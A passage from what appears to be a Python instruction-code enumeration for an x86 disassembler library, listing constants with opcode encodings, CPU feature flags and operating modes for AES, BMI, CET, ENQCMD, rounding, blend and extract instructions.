AESENCLAST_XMM_XMMM128: int = 3642
"""
``AESENCLAST xmm1, xmm2/m128``
``66 0F 38 DD /r``
``AES``
``16/32/64-bit``
"""
VEX_VAESENCLAST_XMM_XMM_XMMM128: int = 3643
"""
``VAESENCLAST xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG DD /r``
``AES and AVX``
``16/32/64-bit``
"""
VEX_VAESENCLAST_YMM_YMM_YMMM256: int = 3644
"""
``VAESENCLAST ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG DD /r``
``VAES``
``16/32/64-bit``
"""
EVEX_VAESENCLAST_XMM_XMM_XMMM128: int = 3645
"""
``VAESENCLAST xmm1, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG DD /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESENCLAST_YMM_YMM_YMMM256: int = 3646
"""
``VAESENCLAST ymm1, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG DD /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESENCLAST_ZMM_ZMM_ZMMM512: int = 3647
"""
``VAESENCLAST zmm1, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG DD /r``
``AVX512F and VAES``
``16/32/64-bit``
"""
AESDEC_XMM_XMMM128: int = 3648
"""
``AESDEC xmm1, xmm2/m128``
``66 0F 38 DE /r``
``AES``
``16/32/64-bit``
"""
VEX_VAESDEC_XMM_XMM_XMMM128: int = 3649
"""
``VAESDEC xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG DE /r``
``AES and AVX``
``16/32/64-bit``
"""
VEX_VAESDEC_YMM_YMM_YMMM256: int = 3650
"""
``VAESDEC ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG DE /r``
``VAES``
``16/32/64-bit``
"""
EVEX_VAESDEC_XMM_XMM_XMMM128: int = 3651
"""
``VAESDEC xmm1, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG DE /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESDEC_YMM_YMM_YMMM256: int = 3652
"""
``VAESDEC ymm1, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG DE /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESDEC_ZMM_ZMM_ZMMM512: int = 3653
"""
``VAESDEC zmm1, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG DE /r``
``AVX512F and VAES``
``16/32/64-bit``
"""
AESDECLAST_XMM_XMMM128: int = 3654
"""
``AESDECLAST xmm1, xmm2/m128``
``66 0F 38 DF /r``
``AES``
``16/32/64-bit``
"""
VEX_VAESDECLAST_XMM_XMM_XMMM128: int = 3655
"""
``VAESDECLAST xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG DF /r``
``AES and AVX``
``16/32/64-bit``
"""
VEX_VAESDECLAST_YMM_YMM_YMMM256: int = 3656
"""
``VAESDECLAST ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG DF /r``
``VAES``
``16/32/64-bit``
"""
EVEX_VAESDECLAST_XMM_XMM_XMMM128: int = 3657
"""
``VAESDECLAST xmm1, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG DF /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESDECLAST_YMM_YMM_YMMM256: int = 3658
"""
``VAESDECLAST ymm1, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG DF /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESDECLAST_ZMM_ZMM_ZMMM512: int = 3659
"""
``VAESDECLAST zmm1, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG DF /r``
``AVX512F and VAES``
``16/32/64-bit``
"""
MOVBE_R16_M16: int = 3660
"""
``MOVBE r16, m16``
``o16 0F 38 F0 /r``
``MOVBE``
``16/32/64-bit``
"""
MOVBE_R32_M32: int = 3661
"""
``MOVBE r32, m32``
``o32 0F 38 F0 /r``
``MOVBE``
``16/32/64-bit``
"""
MOVBE_R64_M64: int = 3662
"""
``MOVBE r64, m64``
``o64 0F 38 F0 /r``
``MOVBE``
``64-bit``
"""
CRC32_R32_RM8: int = 3663
"""
``CRC32 r32, r/m8``
``F2 0F 38 F0 /r``
``SSE4.2``
``16/32/64-bit``
"""
CRC32_R64_RM8: int = 3664
"""
``CRC32 r64, r/m8``
``F2 o64 0F 38 F0 /r``
``SSE4.2``
``64-bit``
"""
MOVBE_M16_R16: int = 3665
"""
``MOVBE m16, r16``
``o16 0F 38 F1 /r``
``MOVBE``
``16/32/64-bit``
"""
MOVBE_M32_R32: int = 3666
"""
``MOVBE m32, r32``
``o32 0F 38 F1 /r``
``MOVBE``
``16/32/64-bit``
"""
MOVBE_M64_R64: int = 3667
"""
``MOVBE m64, r64``
``o64 0F 38 F1 /r``
``MOVBE``
``64-bit``
"""
CRC32_R32_RM16: int = 3668
"""
``CRC32 r32, r/m16``
``o16 F2 0F 38 F1 /r``
``SSE4.2``
``16/32/64-bit``
"""
CRC32_R32_RM32: int = 3669
"""
``CRC32 r32, r/m32``
``o32 F2 0F 38 F1 /r``
``SSE4.2``
``16/32/64-bit``
"""
CRC32_R64_RM64: int = 3670
"""
``CRC32 r64, r/m64``
``F2 o64 0F 38 F1 /r``
``SSE4.2``
``64-bit``
"""
VEX_ANDN_R32_R32_RM32: int = 3671
"""
``ANDN r32a, r32b, r/m32``
``VEX.LZ.0F38.W0 F2 /r``
``BMI1``
``16/32/64-bit``
"""
VEX_ANDN_R64_R64_RM64: int = 3672
"""
``ANDN r64a, r64b, r/m64``
``VEX.LZ.0F38.W1 F2 /r``
``BMI1``
``64-bit``
"""
VEX_BLSR_R32_RM32: int = 3673
"""
``BLSR r32, r/m32``
``VEX.LZ.0F38.W0 F3 /1``
``BMI1``
``16/32/64-bit``
"""
VEX_BLSR_R64_RM64: int = 3674
"""
``BLSR r64, r/m64``
``VEX.LZ.0F38.W1 F3 /1``
``BMI1``
``64-bit``
"""
VEX_BLSMSK_R32_RM32: int = 3675
"""
``BLSMSK r32, r/m32``
``VEX.LZ.0F38.W0 F3 /2``
``BMI1``
``16/32/64-bit``
"""
VEX_BLSMSK_R64_RM64: int = 3676
"""
``BLSMSK r64, r/m64``
``VEX.LZ.0F38.W1 F3 /2``
``BMI1``
``64-bit``
"""
VEX_BLSI_R32_RM32: int = 3677
"""
``BLSI r32, r/m32``
``VEX.LZ.0F38.W0 F3 /3``
``BMI1``
``16/32/64-bit``
"""
VEX_BLSI_R64_RM64: int = 3678
"""
``BLSI r64, r/m64``
``VEX.LZ.0F38.W1 F3 /3``
``BMI1``
``64-bit``
"""
VEX_BZHI_R32_RM32_R32: int = 3679
"""
``BZHI r32a, r/m32, r32b``
``VEX.LZ.0F38.W0 F5 /r``
``BMI2``
``16/32/64-bit``
"""
VEX_BZHI_R64_RM64_R64: int = 3680
"""
``BZHI r64a, r/m64, r64b``
``VEX.LZ.0F38.W1 F5 /r``
``BMI2``
``64-bit``
"""
WRUSSD_M32_R32: int = 3681
"""
``WRUSSD m32, r32``
``66 0F 38 F5 /r``
``CET_SS``
``16/32/64-bit``
"""
WRUSSQ_M64_R64: int = 3682
"""
``WRUSSQ m64, r64``
``66 o64 0F 38 F5 /r``
``CET_SS``
``64-bit``
"""
VEX_PEXT_R32_R32_RM32: int = 3683
"""
``PEXT r32a, r32b, r/m32``
``VEX.LZ.F3.0F38.W0 F5 /r``
``BMI2``
``16/32/64-bit``
"""
VEX_PEXT_R64_R64_RM64: int = 3684
"""
``PEXT r64a, r64b, r/m64``
``VEX.LZ.F3.0F38.W1 F5 /r``
``BMI2``
``64-bit``
"""
VEX_PDEP_R32_R32_RM32: int = 3685
"""
``PDEP r32a, r32b, r/m32``
``VEX.LZ.F2.0F38.W0 F5 /r``
``BMI2``
``16/32/64-bit``
"""
VEX_PDEP_R64_R64_RM64: int = 3686
"""
``PDEP r64a, r64b, r/m64``
``VEX.LZ.F2.0F38.W1 F5 /r``
``BMI2``
``64-bit``
"""
WRSSD_M32_R32: int = 3687
"""
``WRSSD m32, r32``
``NP 0F 38 F6 /r``
``CET_SS``
``16/32/64-bit``
"""
WRSSQ_M64_R64: int = 3688
"""
``WRSSQ m64, r64``
``NP o64 0F 38 F6 /r``
``CET_SS``
``64-bit``
"""
ADCX_R32_RM32: int = 3689
"""
``ADCX r32, r/m32``
``66 0F 38 F6 /r``
``ADX``
``16/32/64-bit``
"""
ADCX_R64_RM64: int = 3690
"""
``ADCX r64, r/m64``
``66 o64 0F 38 F6 /r``
``ADX``
``64-bit``
"""
ADOX_R32_RM32: int = 3691
"""
``ADOX r32, r/m32``
``F3 0F 38 F6 /r``
``ADX``
``16/32/64-bit``
"""
ADOX_R64_RM64: int = 3692
"""
``ADOX r64, r/m64``
``F3 o64 0F 38 F6 /r``
``ADX``
``64-bit``
"""
VEX_MULX_R32_R32_RM32: int = 3693
"""
``MULX r32a, r32b, r/m32``
``VEX.LZ.F2.0F38.W0 F6 /r``
``BMI2``
``16/32/64-bit``
"""
VEX_MULX_R64_R64_RM64: int = 3694
"""
``MULX r64a, r64b, r/m64``
``VEX.LZ.F2.0F38.W1 F6 /r``
``BMI2``
``64-bit``
"""
VEX_BEXTR_R32_RM32_R32: int = 3695
"""
``BEXTR r32a, r/m32, r32b``
``VEX.LZ.0F38.W0 F7 /r``
``BMI1``
``16/32/64-bit``
"""
VEX_BEXTR_R64_RM64_R64: int = 3696
"""
``BEXTR r64a, r/m64, r64b``
``VEX.LZ.0F38.W1 F7 /r``
``BMI1``
``64-bit``
"""
VEX_SHLX_R32_RM32_R32: int = 3697
"""
``SHLX r32a, r/m32, r32b``
``VEX.LZ.66.0F38.W0 F7 /r``
``BMI2``
``16/32/64-bit``
"""
VEX_SHLX_R64_RM64_R64: int = 3698
"""
``SHLX r64a, r/m64, r64b``
``VEX.LZ.66.0F38.W1 F7 /r``
``BMI2``
``64-bit``
"""
VEX_SARX_R32_RM32_R32: int = 3699
"""
``SARX r32a, r/m32, r32b``
``VEX.LZ.F3.0F38.W0 F7 /r``
``BMI2``
``16/32/64-bit``
"""
VEX_SARX_R64_RM64_R64: int = 3700
"""
``SARX r64a, r/m64, r64b``
``VEX.LZ.F3.0F38.W1 F7 /r``
``BMI2``
``64-bit``
"""
VEX_SHRX_R32_RM32_R32: int = 3701
"""
``SHRX r32a, r/m32, r32b``
``VEX.LZ.F2.0F38.W0 F7 /r``
``BMI2``
``16/32/64-bit``
"""
VEX_SHRX_R64_RM64_R64: int = 3702
"""
``SHRX r64a, r/m64, r64b``
``VEX.LZ.F2.0F38.W1 F7 /r``
``BMI2``
``64-bit``
"""
MOVDIR64B_R16_M512: int = 3703
"""
``MOVDIR64B r16, m512``
``a16 66 0F 38 F8 /r``
``MOVDIR64B``
``16/32-bit``
"""
MOVDIR64B_R32_M512: int = 3704
"""
``MOVDIR64B r32, m512``
``a32 66 0F 38 F8 /r``
``MOVDIR64B``
``16/32/64-bit``
"""
MOVDIR64B_R64_M512: int = 3705
"""
``MOVDIR64B r64, m512``
``a64 66 0F 38 F8 /r``
``MOVDIR64B``
``64-bit``
"""
ENQCMDS_R16_M512: int = 3706
"""
``ENQCMDS r16, m512``
``a16 F3 0F 38 F8 !(11):rrr:bbb``
``ENQCMD``
``16/32-bit``
"""
ENQCMDS_R32_M512: int = 3707
"""
``ENQCMDS r32, m512``
``a32 F3 0F 38 F8 !(11):rrr:bbb``
``ENQCMD``
``16/32/64-bit``
"""
ENQCMDS_R64_M512: int = 3708
"""
``ENQCMDS r64, m512``
``a64 F3 0F 38 F8 !(11):rrr:bbb``
``ENQCMD``
``64-bit``
"""
ENQCMD_R16_M512: int = 3709
"""
``ENQCMD r16, m512``
``a16 F2 0F 38 F8 !(11):rrr:bbb``
``ENQCMD``
``16/32-bit``
"""
ENQCMD_R32_M512: int = 3710
"""
``ENQCMD r32, m512``
``a32 F2 0F 38 F8 !(11):rrr:bbb``
``ENQCMD``
``16/32/64-bit``
"""
ENQCMD_R64_M512: int = 3711
"""
``ENQCMD r64, m512``
``a64 F2 0F 38 F8 !(11):rrr:bbb``
``ENQCMD``
``64-bit``
"""
MOVDIRI_M32_R32: int = 3712
"""
``MOVDIRI m32, r32``
``NP 0F 38 F9 /r``
``MOVDIRI``
``16/32/64-bit``
"""
MOVDIRI_M64_R64: int = 3713
"""
``MOVDIRI m64, r64``
``NP o64 0F 38 F9 /r``
``MOVDIRI``
``64-bit``
"""
VEX_VPERMQ_YMM_YMMM256_IMM8: int = 3714
"""
``VPERMQ ymm1, ymm2/m256, imm8``
``VEX.256.66.0F3A.W1 00 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPERMQ_YMM_K1Z_YMMM256B64_IMM8: int = 3715
"""
``VPERMQ ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 00 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 3716
"""
``VPERMQ zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 00 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPERMPD_YMM_YMMM256_IMM8: int = 3717
"""
``VPERMPD ymm1, ymm2/m256, imm8``
``VEX.256.66.0F3A.W1 01 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPERMPD_YMM_K1Z_YMMM256B64_IMM8: int = 3718
"""
``VPERMPD ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 01 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMPD_ZMM_K1Z_ZMMM512B64_IMM8: int = 3719
"""
``VPERMPD zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 01 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPBLENDD_XMM_XMM_XMMM128_IMM8: int = 3720
"""
``VPBLENDD xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.W0 02 /r ib``
``AVX2``
``16/32/64-bit``
"""
VEX_VPBLENDD_YMM_YMM_YMMM256_IMM8: int = 3721
"""
``VPBLENDD ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.W0 02 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VALIGND_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3722
"""
``VALIGND xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 03 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VALIGND_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3723
"""
``VALIGND ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 03 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VALIGND_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3724
"""
``VALIGND zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 03 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VALIGNQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3725
"""
``VALIGNQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 03 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VALIGNQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3726
"""
``VALIGNQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 03 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VALIGNQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3727
"""
``VALIGNQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 03 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPERMILPS_XMM_XMMM128_IMM8: int = 3728
"""
``VPERMILPS xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.W0 04 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPERMILPS_YMM_YMMM256_IMM8: int = 3729
"""
``VPERMILPS ymm1, ymm2/m256, imm8``
``VEX.256.66.0F3A.W0 04 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VPERMILPS_XMM_K1Z_XMMM128B32_IMM8: int = 3730
"""
``VPERMILPS xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 04 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPS_YMM_K1Z_YMMM256B32_IMM8: int = 3731
"""
``VPERMILPS ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 04 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPS_ZMM_K1Z_ZMMM512B32_IMM8: int = 3732
"""
``VPERMILPS zmm1 {k1}{z}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 04 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPERMILPD_XMM_XMMM128_IMM8: int = 3733
"""
``VPERMILPD xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.W0 05 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPERMILPD_YMM_YMMM256_IMM8: int = 3734
"""
``VPERMILPD ymm1, ymm2/m256, imm8``
``VEX.256.66.0F3A.W0 05 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VPERMILPD_XMM_K1Z_XMMM128B64_IMM8: int = 3735
"""
``VPERMILPD xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 05 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPD_YMM_K1Z_YMMM256B64_IMM8: int = 3736
"""
``VPERMILPD ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 05 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPD_ZMM_K1Z_ZMMM512B64_IMM8: int = 3737
"""
``VPERMILPD zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 05 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPERM2F128_YMM_YMM_YMMM256_IMM8: int = 3738
"""
``VPERM2F128 ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.W0 06 /r ib``
``AVX``
``16/32/64-bit``
"""
ROUNDPS_XMM_XMMM128_IMM8: int = 3739
"""
``ROUNDPS xmm1, xmm2/m128, imm8``
``66 0F 3A 08 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VROUNDPS_XMM_XMMM128_IMM8: int = 3740
"""
``VROUNDPS xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.WIG 08 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VROUNDPS_YMM_YMMM256_IMM8: int = 3741
"""
``VROUNDPS ymm1, ymm2/m256, imm8``
``VEX.256.66.0F3A.WIG 08 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPS_XMM_K1Z_XMMM128B32_IMM8: int = 3742
"""
``VRNDSCALEPS xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 08 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPS_YMM_K1Z_YMMM256B32_IMM8: int = 3743
"""
``VRNDSCALEPS ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 08 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPS_ZMM_K1Z_ZMMM512B32_IMM8_SAE: int = 3744
"""
``VRNDSCALEPS zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}, imm8``
``EVEX.512.66.0F3A.W0 08 /r ib``
``AVX512F``
``16/32/64-bit``
"""
ROUNDPD_XMM_XMMM128_IMM8: int = 3745
"""
``ROUNDPD xmm1, xmm2/m128, imm8``
``66 0F 3A 09 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VROUNDPD_XMM_XMMM128_IMM8: int = 3746
"""
``VROUNDPD xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.WIG 09 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VROUNDPD_YMM_YMMM256_IMM8: int = 3747
"""
``VROUNDPD ymm1, ymm2/m256, imm8``
``VEX.256.66.0F3A.WIG 09 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPD_XMM_K1Z_XMMM128B64_IMM8: int = 3748
"""
``VRNDSCALEPD xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 09 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPD_YMM_K1Z_YMMM256B64_IMM8: int = 3749
"""
``VRNDSCALEPD ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 09 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPD_ZMM_K1Z_ZMMM512B64_IMM8_SAE: int = 3750
"""
``VRNDSCALEPD zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}, imm8``
``EVEX.512.66.0F3A.W1 09 /r ib``
``AVX512F``
``16/32/64-bit``
"""
ROUNDSS_XMM_XMMM32_IMM8: int = 3751
"""
``ROUNDSS xmm1, xmm2/m32, imm8``
``66 0F 3A 0A /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VROUNDSS_XMM_XMM_XMMM32_IMM8: int = 3752
"""
``VROUNDSS xmm1, xmm2, xmm3/m32, imm8``
``VEX.LIG.66.0F3A.WIG 0A /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VRNDSCALESS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3753
"""
``VRNDSCALESS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}, imm8``
``EVEX.LIG.66.0F3A.W0 0A /r ib``
``AVX512F``
``16/32/64-bit``
"""
ROUNDSD_XMM_XMMM64_IMM8: int = 3754
"""
``ROUNDSD xmm1, xmm2/m64, imm8``
``66 0F 3A 0B /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VROUNDSD_XMM_XMM_XMMM64_IMM8: int = 3755
"""
``VROUNDSD xmm1, xmm2, xmm3/m64, imm8``
``VEX.LIG.66.0F3A.WIG 0B /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VRNDSCALESD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3756
"""
``VRNDSCALESD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}, imm8``
``EVEX.LIG.66.0F3A.W1 0B /r ib``
``AVX512F``
``16/32/64-bit``
"""
BLENDPS_XMM_XMMM128_IMM8: int = 3757
"""
``BLENDPS xmm1, xmm2/m128, imm8``
``66 0F 3A 0C /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VBLENDPS_XMM_XMM_XMMM128_IMM8: int = 3758
"""
``VBLENDPS xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 0C /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VBLENDPS_YMM_YMM_YMMM256_IMM8: int = 3759
"""
``VBLENDPS ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.WIG 0C /r ib``
``AVX``
``16/32/64-bit``
"""
BLENDPD_XMM_XMMM128_IMM8: int = 3760
"""
``BLENDPD xmm1, xmm2/m128, imm8``
``66 0F 3A 0D /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VBLENDPD_XMM_XMM_XMMM128_IMM8: int = 3761
"""
``VBLENDPD xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 0D /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VBLENDPD_YMM_YMM_YMMM256_IMM8: int = 3762
"""
``VBLENDPD ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.WIG 0D /r ib``
``AVX``
``16/32/64-bit``
"""
PBLENDW_XMM_XMMM128_IMM8: int = 3763
"""
``PBLENDW xmm1, xmm2/m128, imm8``
``66 0F 3A 0E /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPBLENDW_XMM_XMM_XMMM128_IMM8: int = 3764
"""
``VPBLENDW xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 0E /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPBLENDW_YMM_YMM_YMMM256_IMM8: int = 3765
"""
``VPBLENDW ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.WIG 0E /r ib``
``AVX2``
``16/32/64-bit``
"""
PALIGNR_MM_MMM64_IMM8: int = 3766
"""
``PALIGNR mm1, mm2/m64, imm8``
``NP 0F 3A 0F /r ib``
``SSSE3``
``16/32/64-bit``
"""
PALIGNR_XMM_XMMM128_IMM8: int = 3767
"""
``PALIGNR xmm1, xmm2/m128, imm8``
``66 0F 3A 0F /r ib``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPALIGNR_XMM_XMM_XMMM128_IMM8: int = 3768
"""
``VPALIGNR xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 0F /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPALIGNR_YMM_YMM_YMMM256_IMM8: int = 3769
"""
``VPALIGNR ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.WIG 0F /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPALIGNR_XMM_K1Z_XMM_XMMM128_IMM8: int = 3770
"""
``VPALIGNR xmm1 {k1}{z}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.WIG 0F /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPALIGNR_YMM_K1Z_YMM_YMMM256_IMM8: int = 3771
"""
``VPALIGNR ymm1 {k1}{z}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.WIG 0F /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPALIGNR_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 3772
"""
``VPALIGNR zmm1 {k1}{z}, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.WIG 0F /r ib``
``AVX512BW``
``16/32/64-bit``
"""
PEXTRB_R32M8_XMM_IMM8: int = 3773
"""
``PEXTRB r32/m8, xmm2, imm8``
``66 0F 3A 14 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
PEXTRB_R64M8_XMM_IMM8: int = 3774
"""
``PEXTRB r64/m8, xmm2, imm8``
``66 o64 0F 3A 14 /r ib``
``SSE4.1``
``64-bit``
"""
VEX_VPEXTRB_R32M8_XMM_IMM8: int = 3775
"""
``VPEXTRB r32/m8, xmm2, imm8``
``VEX.128.66.0F3A.W0 14 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPEXTRB_R64M8_XMM_IMM8: int = 3776
"""
``VPEXTRB r64/m8, xmm2, imm8``
``VEX.128.66.0F3A.W1 14 /r ib``
``AVX``
``64-bit``
"""
EVEX_VPEXTRB_R32M8_XMM_IMM8: int = 3777
"""
``VPEXTRB r32/m8, xmm2, imm8``
``EVEX.128.66.0F3A.W0 14 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPEXTRB_R64M8_XMM_IMM8: int = 3778
"""
``VPEXTRB r64/m8, xmm2, imm8``
``EVEX.128.66.0F3A.W1 14 /r ib``
``AVX512BW``
``64-bit``
"""
PEXTRW_R32M16_XMM_IMM8: int = 3779
"""
``PEXTRW r32/m16, xmm, imm8``
``66 0F 3A 15 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
PEXTRW_R64M16_XMM_IMM8: int = 3780
"""
``PEXTRW r64/m16, xmm, imm8``
``66 o64 0F 3A 15 /r ib``
``SSE4.1``
``64-bit``
"""
VEX_VPEXTRW_R32M16_XMM_IMM8: int = 3781
"""
``VPEXTRW r32/m16, xmm2, imm8``
``VEX.128.66.0F3A.W0 15 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPEXTRW_R64M16_XMM_IMM8: int = 3782
"""
``VPEXTRW r64/m16, xmm2, imm8``
``VEX.128.66.0F3A.W1 15 /r ib``
``AVX``
``64-bit``
"""
EVEX_VPEXTRW_R32M16_XMM_IMM8: int = 3783
"""
``VPEXTRW r32/m16, xmm2, imm8``
``EVEX.128.66.0F3A.W0 15 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPEXTRW_R64M16_XMM_IMM8: int = 3784
"""
``VPEXTRW r64/m16, xmm2, imm8``
``EVEX.128.66.0F3A.W1 15 /r ib``
``AVX512BW``
``64-bit``
"""
PEXTRD_RM32_XMM_IMM8: int = 3785
"""
``PEXTRD r/m32, xmm2, imm8``
``66 0F 3A 16 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
PEXTRQ_RM64_XMM_IMM8: int = 3786
"""
``PEXTRQ r/m64, xmm2, imm8``
``66 o64 0F 3A 16 /r ib``
``SSE4.1``
``64-bit``
"""
